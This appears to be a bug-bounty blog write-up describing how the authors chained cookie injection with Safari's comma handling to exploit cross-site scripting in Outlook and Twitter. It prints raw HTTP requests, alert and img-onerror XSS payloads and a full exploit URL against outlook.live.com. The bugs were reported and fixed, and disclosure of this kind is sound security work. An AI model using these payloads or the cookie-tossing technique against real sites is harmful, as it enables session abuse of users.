All cross site scripting vulnerabilities cannot be exploited easily and would need a vulnerablity chain to exploit them
For example a self XSS that only executes in your profile, here is how whitton used minor OAuth flaws to exploit a cross site scripting in Uber
How about a XSS that needs a lot of user interaction?
This is how Sasi used a clicking vulnerability to succesfully exploit a xss in Google
What about a Cross site scripting that needs an arbitrary cookie?
Here is how we found cross site scripting vulnerabilities in Outlook and Twitter by tossing cookies in Safari browser.
Outlook Client Side Stored Cross Site Scripting Vulnerability
There was a simple cross site scripting on outlook.live.com, a value from cookie was directly reflected back in the source without any filtering.
GET / HTTP/1.1 Host: outlook.live.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: ClientId=vulnerable<>"'; Connection: close Upgrade-Insecure-Requests: 1
window.dateZero = new Date(0); var scriptStart = ((new Date()) - window.dateZero); window.clientId = 'vulnerable<>"'';
Setting the ClientId to payload ‘-alert(2)-‘ will give us a pop up but the challenge was on how to exploit the xss on other users.
It’s possible if:
- There is CRLF injection(chances are like 1/100)
- There is another XSS(needs time)
- Ability to set an Arbitrary cookie
We ruled out option one & two and started looking for 3. Luckily in next 5 minutes we found an endpoint were the application takes an user input & throws it directly into Set-cookie response headers. Now comes the fun part,
%0a %0d were stripped out but , (comma) and ; were not.
Here is how each browser reacts to a comma
Cookie: param1=value1; param2=value2;
Safari accepts comma delimited cookies and now we can exploit the xss on other users.
Our final payload: https://outlook.live.com/owa/?realm=hotmail.com%3b%2cClientId%3d’-alert(2)-‘
We could also set the expiry of the cookie possibly allowing us to store our payload in the victim’s browser forever.
Oh wait we could also do cookie bombing like mentioned here: http://blog.innerht.ml/page/7/
Twitter XSS by tossing cookies
Refer(to understand on how to store flash messages and pass them to controller using cookies in ROR): http://api.rubyonrails.org/classes/ActionDispatch/Flash.html
While doing some reconnaissance we came across an end point were one could detach an email from his account:
POST /account/detach_email HTTP/1.1 Host: twitter.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Origin: https://twitter.com/ Content-Length: 36 Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4 Cookie: <redacted> authenticity_token=&user=sds"><img src=x onerror=prompt(1)>&secret=
Setting the user parameter to payload will return a 302 redirect to a controller with a flash message in cookie.
HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0 connection: close content-security-policy: content-type: text/html;charset=utf-8 date: Mon, 10 Oct 2016 13:37:02 GMT expires: Tue, 31 Mar 1981 05:00:00 GMT last-modified: Mon, 10 Oct 2016 13:37:02 GMT pragma: no-cache server: tsa_a set-cookie: fm=0; Expires=Mon, 10 Oct 2016 13:36:52 UTC; Path=/; Domain=.twitter.com; Secure; HTTPOnly set-cookie: _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCK%252BXz65XAToMY3NyZl9p%250AZCIlZDE3ZTQxZDQ1M2I2YWViMjI2NzQ4MWExM2FjYmY1ZmU6B2lkIiU2MTM0%250AMmRmYmQxOWQ4ODFiN2JjNDMyNmQyMGI4ZjNlOQ%253D%253D--2071c49064d36eabc5121fc586c3502526a7dafd; Path=/; Domain=.twitter.com; Secure; HTTPOnly set-cookie: lang=en; Path=/
_twitter_sess cookie has a flash message stored and will be shown in the next page after redirect. The flash message was something like this “the email address is no longer associated with payload”.
This is a same story like outlook, to exploit the xss we needed to set an arbitrary cookie or a csrf.
Like always we are lucky again and found an end point were a user input is directly thrown in between the set cookie response headers.
Our final payload was:
Overall it was real fun for us. We have reported both the bugs to respective companies, got a bounty from Microsoft and a silent fix from twitter.
Update: Twitter does have CSP 2.0 in place and Safari 9.1.3 doesn’t support 2.0 hence the pop up!